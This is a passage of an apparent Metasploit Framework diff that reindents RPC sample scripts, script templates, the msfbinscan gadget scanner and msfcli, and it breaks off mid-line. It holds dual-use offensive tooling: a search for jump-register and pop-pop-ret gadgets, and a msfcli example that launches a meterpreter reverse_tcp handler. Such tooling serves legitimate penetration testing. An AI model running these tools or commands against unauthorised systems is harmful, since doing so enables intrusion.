$stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + $stderr.puts ropts + + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -27,44 +27,44 @@ def usage(ropts) parser.separator('NeXpose Specific Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] + opts[:targets] = [x] end parser.on("--nexpose-host HOST") do |x| - opts[:nexpose_host] = x + opts[:nexpose_host] = x end parser.on("--nexpose-user USER") do |x| - opts[:nexpose_user] = x + opts[:nexpose_user] = x end parser.on("--nexpose-pass PASSWORD") do |x| - opts[:nexpose_pass] = x + opts[:nexpose_pass] = x end parser.on("--nexpose-pass-file PATH") do |x| - opts[:nexpose_pass_file] = x + opts[:nexpose_pass_file] = x end parser.on("--scan-template TEMPLATE (optional)") do |x| - opts[:scan_template] = x + opts[:scan_template] = x end parser.on("--nexpose-port PORT (optional)") do |x| - opts[:nexpose_port] = x + opts[:nexpose_port] = x end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -73,16 +73,16 @@ def usage(ropts) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Get the password from the file if opts[:nexpose_pass_file] - nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp! + nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp! else - nexpose_pass = opts[:nexpose_pass] || usage(parser) + nexpose_pass = opts[:nexpose_pass] || usage(parser) end # Store the user's settings @@ -98,14 +98,14 @@ def usage(ropts) user = @rpc.call("pro.default_admin_user")['username'] options = { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_NEXPOSE_HOST' => nexpose_host, - 'DS_NEXPOSE_PORT' => nexpose_port, - 'DS_NEXPOSE_USER' => nexpose_user, - 'nexpose_pass' => nexpose_pass, - 'DS_SCAN_TEMPLATE' => scan_template + 'workspace' => project, + 'username' => user, + 'DS_WHITELIST_HOSTS' => targets, + 'DS_NEXPOSE_HOST' => nexpose_host, + 'DS_NEXPOSE_PORT' => nexpose_port, + 'DS_NEXPOSE_USER' => nexpose_user, + 'nexpose_pass' => nexpose_pass, + 'DS_SCAN_TEMPLATE' => scan_template } puts "DEBUG: Running task with #{options}" @@ -115,34 +115,34 @@ def usage(ropts) if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_report.rb b/documentation/samples/pro/msfrpc_pro_report.rb index 824449519c02..6095a8d7bb81 100644 --- a/documentation/samples/pro/msfrpc_pro_report.rb +++ b/documentation/samples/pro/msfrpc_pro_report.rb @@ -6,43 +6,43 @@ require 'rex/ui' def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + $stderr.puts ropts + + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = { - :format => 'PDF' + :format => 'PDF' } parser = Msf::RPC::Client.option_parser(opts) parser.separator('Report Options:') parser.on("--format FORMAT") do |v| - opts[:format] = v.upcase + opts[:format] = v.upcase end parser.on("--project PROJECT") do |v| - opts[:project] = v + opts[:project] = v end parser.on("--output OUTFILE") do |v| - opts[:output] = v + opts[:output] = v end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -50,9 +50,9 @@ def usage(ropts) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end project = opts[:project] || usage(parser) @@ -61,66 +61,66 @@ def usage(ropts) user = @rpc.call("pro.default_admin_user")['username'] task = @rpc.call("pro.start_report", { - 'DS_WHITELIST_HOSTS' => "", - 'DS_BLACKLIST_HOSTS' => "", - 'workspace' => project, - 'username' => user, - 'DS_MaskPasswords' => false, - 'DS_IncludeTaskLog' => false, - 'DS_JasperDisplaySession' => true, - 'DS_JasperDisplayCharts' => true, - 'DS_LootExcludeScreenshots' => false, - 'DS_LootExcludePasswords' => false, - 'DS_JasperTemplate' => "msfxv3.jrxml", - 'DS_REPORT_TYPE' => rtype.upcase, - 'DS_UseJasper' => true, - 'DS_UseCustomReporting' => true, - 'DS_JasperProductName' => "Metasploit Pro", - 'DS_JasperDbEnv' => "production", - 'DS_JasperLogo' => '', - 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", - 'DS_EnablePCIReport' => true, - 'DS_EnableFISMAReport' => true, - 'DS_JasperDisplayWeb' => true, + 'DS_WHITELIST_HOSTS' => "", + 'DS_BLACKLIST_HOSTS' => "", + 'workspace' => project, + 'username' => user, + 'DS_MaskPasswords' => false, + 'DS_IncludeTaskLog' => false, + 'DS_JasperDisplaySession' => true, + 'DS_JasperDisplayCharts' => true, + 'DS_LootExcludeScreenshots' => false, + 'DS_LootExcludePasswords' => false, + 'DS_JasperTemplate' => "msfxv3.jrxml", + 'DS_REPORT_TYPE' => rtype.upcase, + 'DS_UseJasper' => true, + 'DS_UseCustomReporting' => true, + 'DS_JasperProductName' => "Metasploit Pro", + 'DS_JasperDbEnv' => "production", + 'DS_JasperLogo' => '', + 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", + 'DS_EnablePCIReport' => true, + 'DS_EnableFISMAReport' => true, + 'DS_JasperDisplayWeb' => true, }) if not task['task_id'] - $stderr.puts "[-] Error generating the report: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error generating the report: #{task.inspect}" + exit(0) end puts "[*] Report is generating with Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 + select(nil, nil, nil, 0.50) + stat = @rpc.call("pro.task_status", task['task_id']) + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end + + info = stat[ task['task_id'] ] + + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end + + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end + + break if info['progress'] == 100 end report = @rpc.call('pro.report_download_by_task', task['task_id']) if report and report['data'] - ::File.open(fname, "wb") do |fd| - fd.write(report['data']) - end - $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" + ::File.open(fname, "wb") do |fd| + fd.write(report['data']) + end + $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" else - $stderr.puts "[-] Error downloading report: #{report.inspect}" + $stderr.puts "[-] Error downloading report: #{report.inspect}" end diff --git a/documentation/samples/scripts/meterpreter_script_template.rb b/documentation/samples/scripts/meterpreter_script_template.rb index e18cea5779b5..ee2affd11d3f 100644 --- a/documentation/samples/scripts/meterpreter_script_template.rb +++ b/documentation/samples/scripts/meterpreter_script_template.rb @@ -7,9 +7,9 @@ @client = client sample_option_var = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-o" => [ true , "Option that requieres a value"] - ) + "-h" => [ false, "Help menu." ], + "-o" => [ true , "Option that requieres a value"] + ) meter_type = client.platform ################## Function Declarations ################## @@ -17,26 +17,26 @@ # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for INSERT PURPOSE." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for INSERT PURPOSE." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-o" - sample_option_var = val - end + case opt + when "-h" + usage + when "-o" + sample_option_var = val + end } # Check for Version of Meterpreter diff --git a/documentation/samples/scripts/resource_script.rb b/documentation/samples/scripts/resource_script.rb index a9d7fb6a5694..8eedf949e563 100644 --- a/documentation/samples/scripts/resource_script.rb +++ b/documentation/samples/scripts/resource_script.rb @@ -15,27 +15,27 @@ # will have to do the trick for now. # def help - msg = %Q| - Description: - Let's describe what this RC script is all about, plus anything the user should know before - actually using it. - - Usage: - msfconsole -r - - Options: - - I'm sure you already know - - Username for the database (datastore: 'DB_USER') - - Password for the database (datastore: 'DB_PASS') - - Workspace for the database (datastore: 'DB_WORKSPACE') - - Argument 1 (datastore: 'ARG1') - - Authors: - sinn3r - | - - msg = msg.gsub(/^\t/, '') - print_line(msg) + msg = %Q| + Description: + Let's describe what this RC script is all about, plus anything the user should know before + actually using it. + + Usage: + msfconsole -r + + Options: + - I'm sure you already know + - Username for the database (datastore: 'DB_USER') + - Password for the database (datastore: 'DB_PASS') + - Workspace for the database (datastore: 'DB_WORKSPACE') + - Argument 1 (datastore: 'ARG1') + + Authors: + sinn3r + | + + msg = msg.gsub(/^\t/, '') + print_line(msg) end @@ -43,12 +43,12 @@ def help # See if we're already connected # def is_db_active? - begin - framework.db.hosts - return true - rescue ::ActiveRecord::ConnectionNotEstablished - return false - end + begin + framework.db.hosts + return true + rescue ::ActiveRecord::ConnectionNotEstablished + return false + end end @@ -57,9 +57,9 @@ def is_db_active? # Default to localhost:5432, as this is the default configuration suggested by the manual. # def init_db(username, password, workspace) - db = "localhost:5432" - print_status("Opening #{workspace} at #{db}") - run_single("db_connect #{username}:#{password}@#{db}/#{workspace}") + db = "localhost:5432" + print_status("Opening #{workspace} at #{db}") + run_single("db_connect #{username}:#{password}@#{db}/#{workspace}") end @@ -67,30 +67,30 @@ def init_db(username, password, workspace) # Initialize the argumets here # def init_args - args = {} - - joint = ARGV.join('') - if joint =~ /^help$/i - args[:help] = true - return args - end - - # Add more arguments according to your help() function - datastore = framework.datastore - args[:db_user] = ARGV.shift || datastore['DB_USER'] || '' - args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || '' - args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || '' - args[:arg1] = ARGV.shift || datastore['ARG1'] || '' - - if not is_db_active? - if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty? - raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE" - end - end - - raise ArgumentError, "Need ARG1" if args[:arg1].empty? - - return args + args = {} + + joint = ARGV.join('') + if joint =~ /^help$/i + args[:help] = true + return args + end + + # Add more arguments according to your help() function + datastore = framework.datastore + args[:db_user] = ARGV.shift || datastore['DB_USER'] || '' + args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || '' + args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || '' + args[:arg1] = ARGV.shift || datastore['ARG1'] || '' + + if not is_db_active? + if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty? + raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE" + end + end + + raise ArgumentError, "Need ARG1" if args[:arg1].empty? + + return args end @@ -98,7 +98,7 @@ def init_args # This is your main function # def main(args) - print_status("Initialzation is done, and here's your input: #{args[:arg1]}") + print_status("Initialzation is done, and here's your input: #{args[:arg1]}") end @@ -106,27 +106,27 @@ def main(args) # Below initializes the arguments and database # begin - args = init_args - if args[:help] - help - return - end + args = init_args + if args[:help] + help + return + end - init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active? - main(args) + init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active? + main(args) rescue ArgumentError => e - print_error("Bad argument(s): #{e.message}") - return + print_error("Bad argument(s): #{e.message}") + return rescue RuntimeError => e - # Any runtime error should be raised as "RuntimeError" - print_error(e.message) - return + # Any runtime error should be raised as "RuntimeError" + print_error(e.message) + return rescue ::Exception => e - # Whatever unknown exception occurs, we raise it - raise e + # Whatever unknown exception occurs, we raise it + raise e end \ No newline at end of file diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 1a3e0771a0ec..dbff449b0712 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -134,6 +134,6 @@ def exploit print_error("#{peer} - Unexpected response, probably the exploit failed") end - end + end end diff --git a/msfbinscan b/msfbinscan index 442bf3e7f453..e9fe1dff761d 100755 --- a/msfbinscan +++ b/msfbinscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,7 +29,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -44,258 +44,258 @@ files = [] mode = "" opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions [PE|ELF|MACHO]') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - mode = "jump" - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + mode = "jump" + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations [PE|ELF|MACHO]') do |t| - mode = "pop" - param['args'] = t + mode = "pop" + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match [PE|ELF|MACHO]') do |t| - mode = "regex" - param['args'] = t + mode = "regex" + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address [PE|ELF]') do |t| - mode = "analyze-address" - param['args'] = opt2i(t) + mode = "analyze-address" + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset [PE|ELF]') do |t| - mode = "analyze-offset" - param['args'] = opt2i(t) + mode = "analyze-offset" + param['args'] = opt2i(t) end opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler [PE]') do |t| - mode = "fingerprint" - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') + mode = "fingerprint" + param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') end opt.on('-i', '--info', 'Display detailed information about the image [PE]') do |t| - mode = "info" + mode = "info" end opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk [PE]') do |t| - mode = "ripper" - param['dir'] = t + mode = "ripper" + param['dir'] = t end opt.on('--context-map [directory]', 'Generate context-map files [PE]') do |t| - mode = "context" - param['dir'] = t + mode = "context" + param['dir'] = t end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b) [PE|ELF|MACHO]') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b) [PE|ELF|MACHO]') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase [PE|ELF|MACHO]') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE]') do |t| - param['disasm'] = true + param['disasm'] = true end opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression [PE]') do |t| - param['filteraddr'] = t + param['filteraddr'] = t end opt.on_tail("-h", "--help", "Show this message") do - $stderr.puts opt - exit(1) + $stderr.puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption, OptionParser::MissingArgument - $stderr.puts "Invalid option, try -h for usage" - exit(1) + $stderr.puts "Invalid option, try -h for usage" + exit(1) end if mode.empty? - $stderr.puts "A mode must be selected" - $stderr.puts opt - exit(1) + $stderr.puts "A mode must be selected" + $stderr.puts opt + exit(1) end # check if the file is a directory if it is collect all the entries ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end end # we need to do some work to figure out the file format files.each do |file| - param['file'] = file - - bin = Metasm::AutoExe.decode_file(file) if not file.empty? - - if bin.kind_of?(Metasm::PE) - case mode - when "jump" - worker = Rex::PeScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::PeScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::PeScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::PeScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::PeScan::Search::DumpOffset - when "fingerprint" - worker = Rex::PeScan::Analyze::Fingerprint - when "info" - worker = Rex::PeScan::Analyze::Information - when "ripper" - worker = Rex::PeScan::Analyze::Ripper - when "context" - worker = Rex::PeScan::Analyze::ContextMapDumper - else - $stderr.puts("Mode unsupported by file format") - end - - pe_klass = Rex::PeParsey::Pe - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end - - if (param['imagebase']) - pe.image_base = param['imagebase']; - end - - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end - - o = worker.new(pe) - o.scan(param) - - pe.close - - elsif bin.kind_of?(Metasm::ELF) - case mode - when "jump" - worker = Rex::ElfScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::Elfscan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::ElfScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::ElfScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::ElfScan::Search::DumpOffset - else - $stderr.puts("Mode unsupported by file format") - end - - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end - - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end - - o = worker.new(elf) - o.scan(param) - - elf.close - - elsif bin.kind_of?(Metasm::MachO) - case mode - when "jump" - worker = Rex::MachScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::MachScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::MachScan::Scanner::RegexScanner - else - $stderr.puts("Mode unsupported by file format") - end - - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - begin - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue - $stderr.puts("Error: " + $!.to_s) - $stderr.puts("Skipping #{file}") - end - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - end - - if not worker - $stderr.puts("Unsupported file format") - $stderr.puts("Skipping #{file}") - next - end + param['file'] = file + + bin = Metasm::AutoExe.decode_file(file) if not file.empty? + + if bin.kind_of?(Metasm::PE) + case mode + when "jump" + worker = Rex::PeScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::PeScan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::PeScan::Scanner::RegexScanner + when "analyze-address" + worker = Rex::PeScan::Search::DumpRVA + when "analyze-offset" + worker = Rex::PeScan::Search::DumpOffset + when "fingerprint" + worker = Rex::PeScan::Analyze::Fingerprint + when "info" + worker = Rex::PeScan::Analyze::Information + when "ripper" + worker = Rex::PeScan::Analyze::Ripper + when "context" + worker = Rex::PeScan::Analyze::ContextMapDumper + else + $stderr.puts("Mode unsupported by file format") + end + + pe_klass = Rex::PeParsey::Pe + begin + pe = pe_klass.new_from_file(file, true) + rescue ::Interrupt + raise $! + rescue Rex::PeParsey::FileHeaderError + next if $!.message == "Couldn't find the PE magic!" + raise $! + rescue Errno::ENOENT + $stdout.puts("File does not exist: #{file}") + next + rescue ::Rex::PeParsey::SkipError + next + rescue ::Exception => e + $stdout.puts "[#{file}] #{e.class}: #{e}" + next + end + + if (param['imagebase']) + pe.image_base = param['imagebase']; + end + + if not worker + $stderr.puts("A mode could not be set for this file.") + next + end + + o = worker.new(pe) + o.scan(param) + + pe.close + + elsif bin.kind_of?(Metasm::ELF) + case mode + when "jump" + worker = Rex::ElfScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::Elfscan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::ElfScan::Scanner::RegexScanner + when "analyze-address" + worker = Rex::ElfScan::Search::DumpRVA + when "analyze-offset" + worker = Rex::ElfScan::Search::DumpOffset + else + $stderr.puts("Mode unsupported by file format") + end + + begin + elf = Rex::ElfParsey::Elf.new_from_file(file, true) + rescue Rex::ElfParsey::ElfHeaderError + if $!.message == 'Invalid magic number' + $stderr.puts("Skipping #{file}: #{$!}") + next + end + raise $! + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end + + if (param['imagebase']) + elf.base_addr = param['imagebase']; + end + + if not worker + $stderr.puts("A mode could not be set for this file.") + next + end + + o = worker.new(elf) + o.scan(param) + + elf.close + + elsif bin.kind_of?(Metasm::MachO) + case mode + when "jump" + worker = Rex::MachScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::MachScan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::MachScan::Scanner::RegexScanner + else + $stderr.puts("Mode unsupported by file format") + end + + begin + mach = Rex::MachParsey::Mach.new_from_file(file, true) + o = worker.new(mach) + o.scan(param) + mach.close + rescue Rex::MachParsey::MachHeaderError + $stderr.puts("File is not a Mach-O binary, trying Fat..\n") + begin + fat = Rex::MachParsey::Fat.new_from_file(file, true) + o = worker.new(fat) + o.scan(param) + fat.close + rescue + $stderr.puts("Error: " + $!.to_s) + $stderr.puts("Skipping #{file}") + end + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end + end + + if not worker + $stderr.puts("Unsupported file format") + $stderr.puts("Skipping #{file}") + next + end end diff --git a/msfcli b/msfcli index 23674498fa9c..7ee7088a5617 100755 --- a/msfcli +++ b/msfcli @@ -8,7 +8,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -16,543 +16,543 @@ require 'rex' class Msfcli - def initialize(args) - @args = {} - @indent = ' ' - @framework = nil - - @args[:module_name] = args.shift # First argument should be the module name - @args[:mode] = args.pop || 'h' # Last argument should be the mode - @args[:params] = args # Whatever is in the middle should be the params - - if @args[:module_name] =~ /^exploit(s)*\//i - @args[:module_name] = @args[:module_name].split('/') - @args[:module_name] = @args[:module_name][1, @args[:module_name].length] * "/" - end - end - - # - # Returns a usage Rex table - # - def usage (str = nil, extra = nil) - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Usage: #{$0} [mode]", - 'Indent' => 4, - 'Columns' => ['Mode', 'Description'] - ) - - tbl << ['(H)elp', "You're looking at it baby!"] - tbl << ['(S)ummary', 'Show information about this module'] - tbl << ['(O)ptions', 'Show available options for this module'] - tbl << ['(A)dvanced', 'Show available advanced options for this module'] - tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] - tbl << ['(P)ayloads', 'Show available payloads for this module'] - tbl << ['(T)argets', 'Show available targets for this exploit module'] - tbl << ['(AC)tions', 'Show available actions for this auxiliary module'] - tbl << ['(C)heck', 'Run the check routine of the selected module'] - tbl << ['(E)xecute', 'Execute the selected module'] - - tbl.to_s - - $stdout.puts "Error: #{str}\n\n" if str - $stdout.puts tbl.to_s + "\n" - $stdout.puts "Examples:" + "\n" - $stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" - $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" - $stdout.puts extra + "\n" if extra - $stdout.puts - end - - - # - # Loads up everything in framework, and then returns the module list - # - def dump_module_list - # This is what happens if the user doesn't specify a module name: - # msfcli will end up loading EVERYTHING to memory to show you a help - # menu plus a list of modules available. Really expensive if you ask me. - $stdout.puts "[*] Please wait while we load the module tree..." - framework = Msf::Simple::Framework.create - ext = '' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Exploits', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.exploits.each_module { |name, mod| - tbl << [ 'exploit/' + name, mod.new.name ] - } - ext << tbl.to_s + "\n" - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Auxiliary', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.auxiliary.each_module { |name, mod| - tbl << [ 'auxiliary/' + name, mod.new.name ] - } - - ext << tbl.to_s + "\n" - ext - end - - - # - # Payload naming style is kind of inconsistent, so instead of - # finding the exact path name, we provide the most educated guess (whitelist) - # based on platform/stage type/session type/payload name suffix/etc. - # - def guess_payload_name(p) - matches = [] - payload = p.split('/') - platform = payload[0] - suffix = payload[-1] - stage_types = ['singles', 'stagers', 'stages'] - session_types = ['meterpreter', 'shell'] - arch = '' - - # Rule out some possibilities - if p =~ /meterpreter/i - session_types.delete('shell') - stage_types.delete('singles') - end - if p =~ /shell\/.+$/i - session_types.delete('meterpreter') - stage_types.delete('singles') - end - - if p =~ /x64/i - arch = 'x64' - elsif p =~ /x86/i - arch = 'x86' - end - - # Determine if the payload is staged. If it is, then - # we need to load that staged module too. - if session_types.include?('shell') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/shell/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/shell/ - else - matches << /stages\/#{platform}\/shell/ - end - elsif session_types.include?('meterpreter') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/meterpreter/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/meterpreter/ - else - matches << /stages\/#{platform}\/meterpreter/ - end - end - - # Guess the second possible match - stage_types *= "|" - session_types *= "|" - - if arch == 'x64' - matches << /payloads\/(#{stage_types})\/#{platform}\/x64\/.*(#{suffix})\.rb$/ - elsif arch == 'x86' - matches << /payloads\/(#{stage_types})\/#{platform}\/x86\/.*(#{suffix})\.rb$/ - else - matches << /payloads\/(#{stage_types})\/#{platform}\/.*(#{suffix})\.rb$/ - end - - matches - end - - - # - # Returns a whitelist for encoder modules - # - def guess_encoder_name(e) - [/encoders\/#{e}/] - end - - - # - # Returns a whitelist for nop modules - # - def guess_nop_name(n) - [/nops\/#{n}/] - end - - - # - # Returns a whitelist for post modules - # - def guess_post_name(p) - [/post\/#{p}/] - end - - - # - # Returns possible patterns like exploit/aux, encoders, nops we want to - # load to the whitelist. - # - def generate_whitelist - whitelist = [] - whitelist << /#{@args[:module_name]}/ # Add exploit - - # nil = not set, empty = manually set to load nothing - encoder_val = nil - nops_val = nil - post_val = nil - payload_param 